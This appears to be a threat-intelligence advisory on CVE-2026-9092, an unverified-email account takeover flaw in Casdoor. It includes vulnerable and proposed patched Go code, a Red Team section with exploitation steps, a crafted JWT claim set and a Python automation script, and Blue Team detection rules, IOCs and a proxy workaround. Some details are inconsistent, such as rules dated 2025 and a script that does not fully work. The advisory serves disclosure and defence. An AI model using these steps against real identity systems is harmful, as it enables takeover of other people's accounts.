CVE-2026-9092
Executive Summary
CVE-2026-9092 is a critical authentication bypass vulnerability in Casdoor, an open-source identity and access management platform. The flaw resides in the getExistUserByBindingRule function, which matches users by email address without verifying the email_verified claim from upstream identity providers (IdPs). The idp.UserInfo struct does not include an EmailVerified field, allowing an attacker to supply an unverified email claim from a malicious or compromised upstream provider. This enables account takeover of any Casdoor user whose email address matches the unverified claim. The vulnerability affects all Casdoor versions up to and including 2.362.0. No patch is currently available, and no public exploit code has been released. The CVSS score is 9.8 (Critical), with a network attack vector, low attack complexity, and no privileges required.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Casdoor is distributed as a Go binary and Docker image. The vulnerability is in the core authentication logic, not in a specific package manager. However, organizations using Casdoor as a central identity provider should treat this as a supply chain risk, as a compromised Casdoor instance can lead to cascading account takeovers across all connected applications.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions or race conditions are required.
- Privileges Required (PR): None (N) – No authentication is needed to trigger the flaw.
- User Interaction (UI): None (N) – The victim does not need to perform any action.
- Scope (S): Unchanged (U) – The exploit does not affect resources beyond the vulnerable component.
- Confidentiality (C): High (H) – Full account takeover leads to complete data exposure.
- Integrity (I): High (H) – The attacker can modify user data and settings.
- Availability (A): High (H) – The attacker can lock out legitimate users.
CVSS Score: 9.8 (Critical)
Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and leads to complete account takeover. The lack of a patch and the widespread use of Casdoor in enterprise environments elevate the risk.
Deep Dive & Mechanics
The vulnerability is rooted in the getExistUserByBindingRule function within Casdoor's authentication flow. When a user authenticates via an upstream identity provider (e.g., Google, GitHub, or a custom OIDC provider), Casdoor receives a set of claims, including the user's email address. The function is designed to find an existing Casdoor user by matching the email from the IdP claims.
The critical flaw is that the function does not check the email_verified claim. In standard OIDC/OAuth2 flows, the email_verified claim indicates whether the IdP has confirmed the user's ownership of the email address. By omitting this check, Casdoor trusts any email address provided by the IdP, even if it has not been verified.
The idp.UserInfo struct in Casdoor's codebase does not include an EmailVerified field. This means that even if the upstream provider sends the email_verified claim, it is ignored. An attacker can register a malicious application with an upstream IdP (or compromise an existing one) and configure it to send an arbitrary, unverified email claim. When the attacker authenticates through this malicious IdP, Casdoor will match the unverified email to an existing user's email and log the attacker in as that user.
The attack flow:
- Attacker sets up a rogue OIDC provider or compromises an existing one.
- Attacker configures the rogue provider to return a claim with
email: victim@example.comand noemail_verifiedfield (oremail_verified: false). - Attacker initiates authentication to Casdoor via the rogue provider.
- Casdoor's
getExistUserByBindingRulefunction finds the victim's account by email. - Casdoor logs the attacker in as the victim without requiring any additional verification.
Vulnerable vs. Patched Code
Vulnerable Code (Casdoor <= 2.362.0):
The vulnerable function is located in object/user.go or similar. The logic is simplified below:
func getExistUserByBindingRule(user *User, idpInfo *idp.UserInfo) (*User, error) {
// ... other matching logic ...
if user.Email == idpInfo.Email {
return user, nil
}
// ... fallback ...
return nil, nil
}
The idp.UserInfo struct:
type UserInfo struct {
ID string
Username string
DisplayName string
Email string
AvatarURL string
// No EmailVerified field
}
Patched Code (Hypothetical):
A patch would need to:
- Add an
EmailVerifiedfield to theidp.UserInfostruct. - Modify
getExistUserByBindingRuleto reject users ifEmailVerifiedis false or missing.
type UserInfo struct {
ID string
Username string
DisplayName string
Email string
EmailVerified bool
AvatarURL string
}
func getExistUserByBindingRule(user *User, idpInfo *idp.UserInfo) (*User, error) {
if !idpInfo.EmailVerified {
return nil, errors.New("email not verified")
}
if user.Email == idpInfo.Email {
return user, nil
}
return nil, nil
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- A Casdoor instance (version <= 2.362.0) with at least one user account.
- Access to an OIDC provider that can be configured to return arbitrary claims (e.g., a custom OIDC server, or a compromised IdP client).
Exploitation Steps:
Set up a rogue OIDC provider. Use a tool like
oauth2-proxyor a simple Python Flask app that acts as an OIDC provider. Configure it to return a JWT with the following claims:{ "sub": "attacker_controlled", "email": "victim@example.com", "email_verified": false }Note: Even if
email_verifiedis set tofalse, Casdoor ignores it.Register the rogue provider in Casdoor. As an admin (or via API if available), add the rogue provider as an identity provider.
Initiate authentication. Navigate to the Casdoor login page and select the rogue provider. Casdoor will redirect to the rogue provider, which will authenticate the attacker and return the crafted claims.
Account takeover. Casdoor's
getExistUserByBindingRulewill match the victim's email and log the attacker in as the victim. The attacker now has full access to the victim's account and any applications relying on Casdoor for authentication.
Automation Script (Python):
import requests
# Step 1: Get Casdoor's OIDC configuration
casdoor_url = "http://target-casdoor:8000"
oidc_config = requests.get(f"{casdoor_url}/.well-known/openid-configuration").json()
# Step 2: Initiate authentication via rogue provider
# (This assumes the rogue provider is already registered)
auth_url = oidc_config["authorization_endpoint"]
params = {
"client_id": "rogue_provider_client_id",
"response_type": "code",
"redirect_uri": "http://attacker-callback",
"scope": "openid email"
}
print(f"Redirect user to: {auth_url}?{requests.compat.urlencode(params)}")
# Step 3: After callback, exchange code for token
# (Attacker's rogue provider returns a token with victim's email)
token_url = oidc_config["token_endpoint"]
token_data = {
"grant_type": "authorization_code",
"code": "attacker_code",
"redirect_uri": "http://attacker-callback",
"client_id": "rogue_provider_client_id",
"client_secret": "rogue_provider_secret"
}
token_response = requests.post(token_url, data=token_data).json()
access_token = token_response["access_token"]
# Step 4: Use the token to access Casdoor API as victim
user_info = requests.get(f"{casdoor_url}/api/userinfo", headers={"Authorization": f"Bearer {access_token}"})
print(f"Logged in as: {user_info.json()}")
Blue Team
Detection:
- Monitor for authentication events where the
email_verifiedclaim is missing orfalsein upstream provider responses. - Alert on accounts that are accessed from unusual IP addresses or user agents immediately after an IdP authentication.
- Review IdP registration logs for suspicious or unauthorized provider additions.
Hunting:
- Query Casdoor logs for
getExistUserByBindingRulecalls that result in a successful match but where the upstream provider is not a trusted, verified IdP. - Look for JWT tokens issued by Casdoor that have an
email_verifiedclaim set tofalseor missing.
Mitigation (until patch):
- Disable all upstream identity providers that are not strictly necessary.
- Implement a custom middleware or proxy that validates the
email_verifiedclaim before forwarding requests to Casdoor. - Restrict the ability to add new identity providers to admin accounts only, and audit all existing providers.
Indicators of Compromise (IOCs)
Network:
- Authentication requests to Casdoor from unusual upstream IdP endpoints.
- JWT tokens with
email_verifiedclaim set tofalseor missing. - Repeated failed login attempts followed by a successful login from a different IP.
Host:
- Casdoor logs showing
getExistUserByBindingRulematches withoutemail_verifiedcheck. - Unexpected user account modifications (e.g., email change, password reset) shortly after an IdP login.
- Casdoor logs showing
Logs:
- Casdoor audit logs:
action: "login",provider: "<untrusted_provider>",result: "success". - Application logs:
WARN: email_verified claim missing for user <email>.
- Casdoor audit logs:
Detection Engineering
YARA Rule
rule Detect_Casdoor_EmailVerified_Missing {
meta:
description = "Detects Casdoor source code missing EmailVerified field in UserInfo struct"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2026-9092"
strings:
$struct_decl = "type UserInfo struct" nocase
$email_field = "Email" ascii wide
$email_verified_field = "EmailVerified" ascii wide
condition:
$struct_decl and $email_field and not $email_verified_field
}
Sigma Rule
title: Casdoor Account Takeover via Unverified Email Binding
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects successful authentication via an upstream IdP where the email_verified claim is missing or false, indicating potential exploitation of CVE-2026-9092.
author: Valters IT
date: 2025-04-10
logsource:
product: casdoor
service: audit
detection:
selection:
action: "login"
provider: "*"
filter:
- email_verified: true
- email_verified: "true"
condition: selection and not filter
falsepositives:
- Legitimate IdPs that do not send the email_verified claim (rare)
level: critical
Suricata Rule
alert http any any -> any any (msg:"CVE-2026-9092 - Casdoor Account Takeover via Unverified Email"; flow:to_server,established; content:"/api/login"; http_uri; content:"provider="; http_uri; pcre:"/email_verified[^=]*(false|$)/Ri"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable all upstream identity providers that are not absolutely required for business operations.
- Implement a reverse proxy (e.g., Nginx, Envoy) that inspects JWT tokens and rejects any with
email_verifiedset tofalseor missing. - Audit all existing IdP configurations and remove any that are suspicious or unused.
Long-Term Fix:
- Apply the official patch from Casdoor once released. The patch must add an
EmailVerifiedfield to theidp.UserInfostruct and enforce its validation ingetExistUserByBindingRule. - Upgrade to a patched version of Casdoor as soon as it becomes available.
Workaround Code (Nginx Lua):
-- In nginx.conf, add a Lua script to validate email_verified claim
access_by_lua_block {
local jwt = require("resty.jwt")
local token = ngx.var.http_authorization
if token then
token = token:gsub("Bearer ", "")
local jwt_obj = jwt:verify("your_secret_key", token)
if jwt_obj.verified and jwt_obj.payload.email_verified ~= true then
ngx.status = 403
ngx.say("Email not verified")
ngx.exit(403)
end
end
}
Valters IT
DevSecOps & Cyber Threat Intelligence
Report generated for CVE-2026-9092